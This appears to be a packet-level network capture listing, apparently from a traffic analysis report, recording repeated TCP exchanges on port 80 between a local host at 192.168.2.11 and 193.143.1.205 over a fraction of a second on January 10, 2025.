Jan 10, 2025 22:51:29.269455910 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.269553900 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269565105 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269579887 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269593000 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269603014 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269604921 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.269614935 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269628048 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269637108 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269643068 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.269643068 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.269658089 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.269685030 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269695997 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269706964 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269720078 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269723892 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.269730091 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269742012 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269753933 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269797087 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.269797087 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.269798040 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.269804955 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270009995 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270054102 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270057917 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.270065069 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270103931 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.270114899 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270127058 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270165920 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270169020 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.270220041 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270237923 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270318985 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270330906 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270330906 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.270343065 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270349026 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270359993 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.270472050 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270472050 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.270483017 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270495892 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270509005 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270533085 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.270534039 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.270627022 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270639896 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270668030 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.270751953 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270762920 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270775080 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270788908 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270797014 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.270802021 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270808935 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.270814896 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270828962 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.270850897 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.270889997 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.271064043 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.271076918 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.271091938 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.271105051 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.271114111 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.271119118 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.271169901 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.271199942 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.271212101 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.271223068 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.271241903 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.271292925 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.271323919 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.271337032 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.271351099 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.271361113 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.271397114 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.271397114 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.273094893 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.273109913 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.273160934 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.273164988 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.273178101 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.273189068 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.273204088 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.273216963 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.273248911 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.273248911 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.273264885 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.273320913 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.273485899 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.273507118 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.273518085 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.273556948 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.273557901 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.273595095 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.275113106 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.290940046 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.290954113 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.290966988 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.290982962 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.290994883 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.291029930 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.291040897 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.291045904 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.291076899 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.291079044 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.291124105 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.291124105 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.291148901 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.291162014 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.291172028 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.291184902 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.291203976 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.291263103 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.291265011 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.332818031 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.332835913 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.332854033 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.332869053 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.332885981 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.333014965 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.333014965 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.333024979 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.333039045 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.333050013 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.333062887 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.333148956 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.333162069 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.333163023 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.333174944 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.333193064 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.333201885 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.333201885 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.333203077 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.333215952 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.333228111 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.333259106 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.333259106 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.356532097 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.356548071 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.356561899 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.356651068 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.356687069 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.356700897 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.356715918 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.356728077 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.356753111 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.356753111 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.357142925 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.357810020 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.357883930 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.357897997 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.357939959 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.357969046 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.357981920 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.357995987 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358030081 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.358047962 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358062983 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358068943 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.358092070 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358103037 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358109951 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.358163118 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358218908 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.358258009 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358269930 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358277082 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358288050 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358325958 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.358366013 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.358432055 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358444929 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358457088 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358469963 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358483076 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358525038 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.358525038 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.358552933 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358565092 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358577013 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358589888 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358642101 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.358671904 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.358730078 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358781099 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358793020 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358827114 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.358889103 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358901024 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358912945 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358927011 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.358944893 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.358985901 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.359045029 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359057903 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359071016 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359083891 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359122038 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.359122038 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.359200001 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359211922 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359222889 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359236002 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359246969 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.359270096 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359318018 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.359318018 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.359340906 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359375000 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359386921 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359422922 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.359457016 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359510899 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359522104 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.359524965 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359596014 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359607935 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359642029 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.359653950 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359659910 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.359668016 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359746933 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.359774113 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359786034 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359797001 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359810114 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359826088 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.359859943 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.359859943 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.359966040 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360022068 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.360129118 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360141993 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360160112 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360171080 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360183001 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360191107 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.360234022 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.360306025 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360317945 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360328913 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360342026 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360354900 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360367060 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360378981 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.360378981 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.360443115 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.360589027 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360601902 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360614061 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360626936 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360641956 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360654116 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360667944 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360677004 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.360677004 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.360682011 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.360753059 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.362622023 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.362633944 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.362646103 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.362720013 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.362731934 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.362742901 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.362756014 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.362777948 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.362821102 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.363003969 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.363015890 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.363027096 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.363040924 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.363054037 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.363065958 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.363080978 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.363089085 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.363101959 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.363115072 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.363141060 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.363188982 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.380367041 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.380393028 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.380408049 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.380476952 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.380490065 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.380526066 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.380543947 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.380558014 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.380569935 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.380580902 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.380728006 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.422080040 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422105074 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422116041 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422130108 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422197104 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422250032 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.422256947 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422270060 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422291994 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.422319889 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.422394991 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422406912 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422416925 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422430992 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422452927 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.422512054 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.422523022 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422535896 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422549009 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422559977 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.422574997 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.422609091 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.446017981 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.446043968 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.446054935 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.446152925 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.446166039 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.446177006 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.446192980 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.446224928 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.446283102 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.446304083 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.447170973 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.447208881 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.447221994 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.447248936 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.447268963 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.447324038 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.447345018 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.447391987 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.447405100 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.447407961 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.447467089 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.447500944 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.447511911 CET	80	49709	193.143.1.205	192.168.2.11
